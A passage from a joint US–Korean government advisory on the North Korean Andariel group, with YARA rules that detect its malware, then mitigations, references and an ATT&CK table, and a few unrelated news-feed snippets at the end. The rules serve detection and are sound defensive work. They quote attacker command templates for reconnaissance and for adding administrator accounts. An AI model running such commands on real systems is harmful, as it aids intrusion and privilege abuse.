?? 3? 1F } // B9 8D 10 B7 F8 mov ecx, 0F8B7108Dh // E8 F1 BA FF FF call sub_140001280 $hash_call_loadlib = { B? 8D 10 B7 F8 E8 } $hash_call_unk = { B? 91 B8 F6 88 E8 } condition: uint16(0) == 0x5a4d and (any of ($handshake, $err_xor_str, $buf_add_cmp_1f) and any of ($hash_call_*)) or 2 of ($handshake, $err_xor_str, $buf_add_cmp_1f) rule Andariel_Atharvan_3RAT { strings: $3RAT = "D:\\rang\\TOOL\\3RAT" $atharvan = "Atharvan_dll.pdb" condition: uint16(0) == 0x5a4d and any of them } rule Andariel_LilithRAT_Variant { strings: // The following are strings seen in the open source version of Lilith $lilith_1 = "Initiate a CMD session first." ascii wide $lilith_2 = "CMD is not open" ascii wide $lilith_3 = "Couldn't write command" ascii wide $lilith_4 = "Couldn't write to CMD: CMD not open" ascii wide // The following are strings that appear to be unique to the Unnamed Trojan based on Lilith $unique_1 = "Upload Error!" ascii wide $unique_2 = "ERROR: Downloading is already running!" ascii wide $unique_3 = "ERROR: Unable to open file:" ascii wide $unique_4 = "General error" ascii wide $unique_5 = "CMD error" ascii wide $unique_6 = "killing self" ascii wide condition: uint16(0) == 0x5a4d and filesize < 150KB and all of ($lilith_*) and 2 of ($unique_*) } rule Andariel_SocksTroy_Strings_OpCodes { strings: $strHost = "-host" wide $strAuth = "-auth" wide $SocksTroy = "SocksTroy" $cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B } condition: uint16(0) == 0x5a4d and ((1 of ($str*)) and (all of ($c*)) or (all of ($Socks*))) } rule Andariel_Agni { strings: $xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 } $stackstrings = {C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24} condition: uint16(0) == 0x5a4d and (#xor > 100 and #stackstrings > 5) } rule Andariel_GoLang_validalpha_handshake { strings: $ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 } condition: all of them } rule Andariel_GoLang_validalpha_tasks { strings: $ = "main.ScreenMonitThread" $ = "main.CmdShell" $ = "main.GetAllFoldersAndFiles" $ = "main.SelfDelete" condition: all of them } rule Andariel_GoLang_validalpha_BlackString { strings: $ = "I:/01___Tools/02__RAT/Black" condition: uint16(0) == 0x5A4D and all of them } rule INDICATOR_EXE_Packed_VMProtect { strings: $s1 = ".vmp0" fullword ascii $s2 = ".vmp1" fullword ascii condition: uint16(0) == 0x5a4d and all of them or for any i in (0 .. pe.number_of_sections) : ( ( pe.sections[i].name == ".vmp0" or pe.sections[i].name == ".vmp1" ) ) } rule INDICATOR_EXE_Packed_Themida { strings: $s1 = ".themida" fullword ascii condition: uint16(0) == 0x5a4d and all of them or for any i in (0 .. pe.number_of_sections) : ( ( pe.sections[i].name == ".themida" ) ) } rule Andariel_elf_backdoor_fipps { strings: $a = "found mac address" $b = "RecvThread" $c = "OpenSSL-1.0.0-fipps" $d = "Disconnected!" condition: (all of them) and uint32(0) == 0x464c457f } rule Andariel_bindshell { strings: $str_comspec = "COMSPEC" $str_consolewindow = "GetConsoleWindow" $str_ShowWindow = "ShowWindow" $str_WSASocketA = "WSASocketA" $str_CreateProcessA = "CreateProcessA" $str_port = {B9 4D 05 00 00 89} condition: uint16(0) == 0x5A4D and all of them } rule Andariel_grease2 { strings: $str_rdpconf = "c: \\windows\\temp\\RDPConf.exe" fullword nocase $str_rdpwinst = "c: \\windows\\temp\\RDPWInst.exe" fullword nocase $str_net_user = "net user" $str_admins_add = "net localgroup administrators" condition: uint16(0) == 0x5A4D and all of them } rule Andariel_NoPineapple_Dtrack_unpacked { strings: $str_nopineapple = "< No Pineapple! >" $str_qt_library = "Qt 5.12.10" $str_xor = {8B 10 83 F6 ?? 83 FA 01 77} condition: uint16(0) == 0x5A4D and all of them } rule Andariel_dtrack_unpacked { strings: $str_mutex = "MTX_Global" $str_cmd_1 = "/c net use \\\\" wide $str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide $str_cmd_3 = "/c move /y %s \\\\" wide $str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide condition: uint16(0) == 0x5A4D and all of them } rule Andariel_TigerRAT_crowdsourced_rule { strings: $m1 = ".?AVModuleKeyLogger@@" fullword ascii $m2 = ".?AVModulePortForwarder@@" fullword ascii $m3 = ".?AVModuleScreenCapture@@" fullword ascii $m4 = ".?AVModuleShell@@" fullword ascii $s1 = "\\x9891-009942-xnopcopie.dat" fullword wide $s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii $s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii $s4 = "del \"%s\"%s \"%s\" goto " ascii $s5 = "[<<]" fullword ascii condition: uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*))) } rule win_tiger_rat_auto { strings: $sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 } // n = 5, score = 200 // 33c0 | jmp 5 // 89442438 | dec eax // 89442430 | mov eax, ecx // 448bcf | movzx eax, byte ptr [eax] // 4533c0 | dec eax $sequence_1 = { 41b901000000 488bd6 488bcb e8???????? } // n = 4, score = 200 // 41b901000000 | dec eax // 488bd6 | mov eax, dword ptr [ecx] // 488bcb | jmp 8 // e8???????? | $sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 } // n = 4, score = 200 // 4881ec90050000 | test eax, eax // 8b01 | jns 0x16 // 8985c8040000 | dec eax // 8b4104 | mov eax, dword ptr [ecx] $sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 } // n = 4, score = 200 // 488b01 | mov edx, esi // ff10 | dec eax // 488b4f08 | mov ecx, ebx // 4c8d4c2430 | inc ecx $sequence_4 = { 488b01 ff10 488b4e18 488b01 } // n = 4, score = 200 // 488b01 | dec eax // ff10 | cmp dword ptr [ecx + 0x18], 0x10 // 488b4e18 | dec eax // 488b01 | sub esp, 0x590 $sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 } // n = 4, score = 200 // 4881eca0000000 | mov eax, dword ptr [ecx] // 33c0 | mov dword ptr [ebp + 0x4c8], eax // 488bd9 | mov eax, dword ptr [ecx + 4] // 488d4c2432 | mov dword ptr [ebp + 0x4d0], eax $sequence_6 = { 488b01 eb03 488bc1 0fb600 } // n = 4, score = 200 // 488b01 | inc ecx // eb03 | mov ebx, dword ptr [ebp + ebp] // 488bc1 | inc ecx // 0fb600 | movups xmmword ptr [edi], xmm0 $sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 } // n = 5, score = 200 // 488b01 | sub esp, 0x30 // 8b10 | dec ecx // 895124 | mov ebx, eax // 448b4124 | dec eax // 4585c0 | mov ecx, eax $sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 } // n = 4, score = 100 // 4c8d0d31eb0000 | jne 0x1e6 // c1e918 | dec eax // c1e808 | lea ecx, [0xbda0] // 41bf00000080 | dec esp $sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 } // n = 7, score = 100 // 488bd8 | dec eax // 4885c0 | mov ebx, eax // 752d | dec eax // ff15???????? | // 83f857 | test eax, eax // 0f85e0010000 | jne 0x2f // 488d0da0bd0000 | cmp eax, 0x57 $sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b } // n = 5, score = 100 // 75d4 | lea ecx, [0xeb31] // 488d1d7f6c0100 | shr ecx, 0x18 // 488b4bf8 | shr eax, 8 // 4885c9 | inc ecx // 740b | mov edi, 0x80000000 $sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b b9f4ffffff } // n = 7, score = 100 // 0f85d9000000 | jne 0xffffffd6 // 488d15d0c90000 | dec eax // 41b810200100 | lea ebx, [0x16c7f] // 488bcd | dec eax // e8???????? | // eb6b | mov ecx, dword ptr [ebx - 8] // b9f4ffffff | dec eax $sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905???????? 488d05a0550000 488905???????? } // n = 6, score = 100 // 48890d???????? | // 488905???????? | // 488d05ae610000 | test ecx, ecx // 488905???????? | // 488d05a0550000 | je 0x10 // 488905???????? | $sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 } // n = 6, score = 100 // 8bcf | mov eax, 0x12010 // e8???????? | // 488b7c2448 | dec eax // 85c0 | mov ecx, ebp // 0f8440030000 | jmp 0x83 // 488d0560250100 | mov ecx, 0xfffffff4 $sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905???????? 8b05???????? } // n = 7, score = 100 // ff15???????? | // 8b05???????? | // 2305???????? | // ba02000000 | dec eax // 33c9 | lea eax, [0x61ae] // 8905???????? | // 8b05???????? | $sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 } // n = 5, score = 100 // 4883ec30 | jne 0xdf // 498bd8 | dec eax // e8???????? | // 488bc8 | lea edx, [0xc9d0] // 4885c0 | inc ecx condition: 7 of them and filesize < 557056 } rule win_dtrack_auto { strings: $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 } // n = 7, score = 400 // 52 | push edx // 8b4508 | mov eax, dword ptr [ebp + 8] // 50 | push eax // e8???????? | // 83c414 | add esp, 0x14 // 8b4d10 | mov ecx, dword ptr [ebp + 0x10] // 51 | push ecx $sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae c78544f6ffff00000000 } // n = 7, score = 300 // 3a4101 | cmp al, byte ptr [ecx + 1] // 7523 | jne 0x25 // 83854cf6ffff02 | add dword ptr [ebp - 0x9b4], 2 // 838550f6ffff02 | add dword ptr [ebp - 0x9b0], 2 // 80bd4af6ffff00 | cmp byte ptr [ebp - 0x9b6], 0 // 75ae | jne 0xffffffb0 // c78544f6ffff00000000 | mov dword ptr [ebp - 0x9bc], 0 $sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 } // n = 7, score = 300 // 50 | push eax // ff15???????? | // a3???????? | // 68???????? | // e8???????? | // 83c404 | add esp, 4 // 50 | push eax $sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? } // n = 5, score = 300 // 8d8dd4faffff | lea ecx, [ebp - 0x52c] // 51 | push ecx // e8???????? | // 83c408 | add esp, 8 // 8b15???????? | $sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? } // n = 5, score = 300 // 8855f5 | mov byte ptr [ebp - 0xb], dl // 6a5c | push 0x5c // 8b450c | mov eax, dword ptr [ebp + 0xc] // 50 | push eax // e8???????? | $sequence_5 = { 51 e8???????? 83c410 8b558c 52 } // n = 5, score = 300 // 51 | push ecx // e8???????? | // 83c410 | add esp, 0x10 // 8b558c | mov edx, dword ptr [ebp - 0x74] // 52 | push edx $sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? } // n = 6, score = 300 // 8b4d0c | mov ecx, dword ptr [ebp + 0xc] // 51 | push ecx // 68???????? | // 8d9560eaffff | lea edx, [ebp - 0x15a0] // 52 | push edx // e8???????? | $sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 } // n = 5, score = 300 // 83c001 | add eax, 1 // 8945f4 | mov dword ptr [ebp - 0xc], eax // 837df420 | cmp dword ptr [ebp - 0xc], 0x20 // 7d2c | jge 0x2e // 8b4df8 | mov ecx, dword ptr [ebp - 8] $sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 } // n = 4, score = 300 // 83c001 | add eax, 1 // 89856cf6ffff | mov dword ptr [ebp - 0x994], eax // 8b8d70f6ffff | mov ecx, dword ptr [ebp - 0x990] // 8a11 | mov dl, byte ptr [ecx] $sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 } // n = 6, score = 200 // 0355f0 | add edx, dword ptr [ebp - 0x10] // 0fb602 | movzx eax, byte ptr [edx] // 0fb64df7 | movzx ecx, byte ptr [ebp - 9] // 33c1 | xor eax, ecx // 0fb655fc | movzx edx, byte ptr [ebp - 4] // 33c2 | xor eax, edx $sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 } // n = 5, score = 200 // d1e9 | shr ecx, 1 // 894df8 | mov dword ptr [ebp - 8], ecx // 8b5518 | mov edx, dword ptr [ebp + 0x18] // 8955fc | mov dword ptr [ebp - 4], edx // c745f000000000 | mov dword ptr [ebp - 0x10], 0 $sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 } // n = 6, score = 200 // 8b4df0 | mov ecx, dword ptr [ebp - 0x10] // 3b4d10 | cmp ecx, dword ptr [ebp + 0x10] // 0f8d90000000 | jge 0x96 // 8b5508 | mov edx, dword ptr [ebp + 8] // 0355f0 | add edx, dword ptr [ebp - 0x10] // 0fb602 | movzx eax, byte ptr [edx] $sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 } // n = 6, score = 200 // 894d14 | mov dword ptr [ebp + 0x14], ecx // 8b45f8 | mov eax, dword ptr [ebp - 8] // c1e018 | shl eax, 0x18 // 8b4dfc | mov ecx, dword ptr [ebp - 4] // c1e908 | shr ecx, 8 // 0bc1 | or eax, ecx $sequence_13 = { 0bc1 894518 8b5514 8955f8 } // n = 4, score = 200 // 0bc1 | or eax, ecx // 894518 | mov dword ptr [ebp + 0x18], eax // 8b5514 | mov edx, dword ptr [ebp + 0x14] // 8955f8 | mov dword ptr [ebp - 8], edx $sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 } // n = 6, score = 200 // 8b5514 | mov edx, dword ptr [ebp + 0x14] // 8955f8 | mov dword ptr [ebp - 8], edx // 8b4518 | mov eax, dword ptr [ebp + 0x18] // 8945fc | mov dword ptr [ebp - 4], eax // e9???????? | // 8be5 | mov esp, ebp condition: 7 of them and filesize < 1736704 } Mitigation Measures The authoring agencies recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. Log4Shell and Other Log4j Vulnerabilities Defenders should consult the joint Cybersecurity Advisory titled “ Mitigating Log4Shell and Other Log4j-Related Vulnerabilities” and CISA’s “ Apache Log4j Vulnerability” guidance. Organizations can mitigate the risks posed by the vulnerability by identifying assets affected by Log4Shell and other Log4j-related vulnerabilities and upgrading Log4j assets and affected products to the latest version. Note: CVE-2021-44228 ‘Log4Shell’ was disclosed in December 2021 and affects the Log4j library prior to version 2.17.0. Defenders should remain alert to vendor software updates, and initiate hunt and incident response procedures to detect possible Log4Shell exploitation. Web Shell Malware Web shell malware is deployed by adversaries on a victim’s web server to execute arbitrary system commands. The NSA and Australian Signals Directorate’s report titled “ Detect and Prevent Web Shell Malware” provides mitigating actions to identify and recover from web shells. Preventing exploitation of web-facing servers often depends on maintaining an inventory of systems and applications, rapidly applying patches as they are released, putting vulnerable or potentially risky systems behind reverse proxies that require authentication, and deploying and configuring Web Application Firewalls (WAFs). Endpoint Activity Preventing and detecting further adversary activity should focus on deploying endpoint agents or other monitoring mechanisms, blocking unnecessary outbound connections, blocking external access to administrator panels and services or turning them off entirely, and segmenting the network to prevent lateral movement from a compromised web server to critical assets. Command Line Activity and Remote Access Monitoring for suspicious command-line activity, implementing multi-factor authentication for remote access services, and properly segmenting and using allow-listing tools for critical assets can protect against malicious activity by RGB 3rd Bureau’s Andariel group and other cyber threat actors. Packing Signatures for Themida, VMProtect and a number of other packers are available here, however, the signatures will not identify every file packed using these applications. Check for security vulnerabilities, apply patches, and update to the latest version of software Encrypt all sensitive data including personal information Block access to unused ports Change passwords when they are suspected of being compromised Strengthen the subscriber identity authentication process for leased servers DPRK Rewards for Justice The U.S. and ROK Governments encourage victims to report suspicious activities, including those related to suspected DPRK cyber activities, to relevant authorities. If you provide information about illicit DPRK activities in cyberspace, including past or ongoing operations, you may be eligible for a reward. If you have information about illicit DPRK activities in cyberspace, including past or ongoing operations, providing such information through the Department of State’s Rewards for Justice program could make you eligible to receive an award of up to $10 million. For further details, please visit https://rewardsforjustice.net/. Acknowledgements Mandiant and Microsoft Threat Intelligence contributed to this CSA. Disclaimer of Endorsement Your organization has no obligation to respond or provide information in response to this product. If, after reviewing the information provided, your organization decides to provide information to the authorizing agencies, it must do so consistent with applicable state and federal law. The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or service by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the co-authors. Trademark Recognition Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation. Purpose This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. Contact U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at Report@cisa.dhs.gov or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/fieldoffices. DC3 Cyber Forensics Laboratory (CFL): afosi.dc3.cflintake@us.af.mil DoD-Defense Industrial Base (DIB) Collaborative Information Sharing Environment (DCISE): dc3.dcise@us.af.mil NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov NSA Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov Republic of Korea organizations: If you suspect cyber incidents involving state actors, including Andariel, or discover similar cases, please contact the relevant authorities below. National Intelligence Service: www.nis.go.kr, +82 111 References AhnLab Security Emergency Response Center: https://asec.ahnlab.com/en/56405/ https://asec.ahnlab.com/en/59073/ https://asec.ahnlab.com/en/66088/ Boredhackerblog: http://www.boredhackerblog.info/2022/11/openssl-100-fipps-linux-backdoor-notes.html Cisco Talos Intelligence blogs: https://blog.talosintelligence.com/lazarus-three-rats/ https://blog.talosintelligence.com/lazarus-magicrat/ https://blog.talosintelligence.com/lazarus-collectionrat/ https://blog.talosintelligence.com/lazarus-quiterat/ DCSO blog: https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499 Github.com/ditekshen: https://github.com/ditekshen/detection/blob/master/yara/indicator_packed.yar JPCERT blogs: https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html https://blogs.jpcert.or.jp/en/2022/07/yamabot.html Mandiant blogs: https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023 https://www.mandiant.com/resources/blog/mapping-dprk-groups-to-government Microsoft blogs: https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/ https://www.microsoft.com/en-us/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/ NSCS Guidance: Alert: Apache Log4j Vulnerabilities: https://www.ncsc.gov.uk/news/apache-log4j-vulnerability Information: https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know Symantec blog: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research VMware blog: https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html WithSecure Labs report: https://labs.withsecure.com/publications/no-pineapple-dprk-targeting-of-medical-research-and-technology-sector Appendix: MITRE ATT&CK Techniques and Software The tactics and techniques referenced in this advisory are identified in Table 3 – Table 12. Table 3. Reconnaissance and Enumeration Technique Title ID Use Gather Victim Org Information T1591 The actors gather information about the victim’s organization that can be used during targeting. Gather Victim Host Information T1592 The actors gather information about the victim’s hosts that can be used during targeting. Active Scanning T1595 The actors execute active reconnaissance scans to gather information that can be used during targeting. Search Open Technical Databases T1596 The actors search freely available technical databases for information about victims that can be used during targeting. Table 4. Resource Development, Tooling, and Remote Access Tools (RATs) Technique Title ID Use OS Credential Dumping T1003 The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Exfiltration Over Alternative Protocol T1048 The actors steal data by exfiltrating it over a different protocol than that of the existing command and control channel. Proxy T1090 The actors use a connection proxy to direct network traffic between systems or act as intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Archive Collected Data T1560 The actors compress and/or encrypt data that is collected prior to exfiltration. Protocol Tunneling T1572 The actors tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Develop Capabilities: Malware T1587.001 The actors develop malware and malware components that can be used during targeting. Develop Capabilities: Exploits T1587.004 The actors develop exploits that can be used during targeting. Table 5. Software used for Resource Development, Tooling, and RATs Software Title ID Use Mimikatz S0002 The actors use a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. AdFind S0552 The actors use a free command-line query tool that can be used for gathering information from the Active Directory. Table 6. Initial Access Technique Title ID Use Exploit Public-Facing Application T1190 The actors attempt to exploit a weakness in an Internet-facing host or system to initially access a network. Table 7. Execution Technique Title ID Use Command and Scripting Interpreter T1059 The actors abuse command and script interpreters to execute commands, scripts, or binaries. Table 8. Defense Evasion Technique Title ID Use Obfuscated Files or Information T1027 The actors attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its content on the system or in transit. Table 9. Credential Access Technique Title ID Use OS Credential Dumping T1003 The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Table 10. Discovery and Lateral Movement Technique Title ID Use Remote Services T1021 The actors use valid accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. Remote Services: SMB/Windows Admin Shares T1021.002 The actors use valid accounts to interact with a remote network share using Server Message Block (SMB). File and Directory Discovery T1083 The actors enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Account Discovery T1087 The actors attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. Table 11. Command and Control Technique Title ID Use Application Layer Protocol T1071 The actors establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, telnet, DNP3, and Modbus. Proxy T1090 The actors use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. Table 12. Collection and Exfiltration Technique Title ID Use Data from Network Shared Drive T1039 The actors search network shares on computers they have compromised to find files of interest. Exfiltration Over Alternative Protocol T1048 The actors steal data by exfiltrating it over a different protocol than that of the existing command and control server. Archive Collected Data T1560 The actors compress and/or encrypt data that is collected prior to exfiltration. Exfiltration Over Web Service T1567 The actors use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.

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XWorm is not a brand-new malware family&#x26;#x5b; 1&#x26;#x5d;. It&#x26;#39;s a common RAT (Remote Access Tool) re-use regularly in new campaigns. Yesterday, I found a sample that behaves like a dropper and runs the malware using the Process Hollowing technique&#x26;#x5b; 2&#x26;#x5d;. The sample is called " @Norman_is_back_RPE_v1.exe" (SHA256: dc406d626a9aac5bb918abf0799fa91ba6239fc426324fd8c063cc0fcb3b5428). It&#x26;#39;s a .Net executable that is, strangely, not obfuscated. It&#x26;#39;s possible to disassemble it with ilspycmd:

DDoS cyberattack campaign averaged 4.5 million requests per second, putting the bank under attack 70% of the time.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Small businesses are increasingly being targeted by cyberattackers. Why, then, are security features priced at a premium?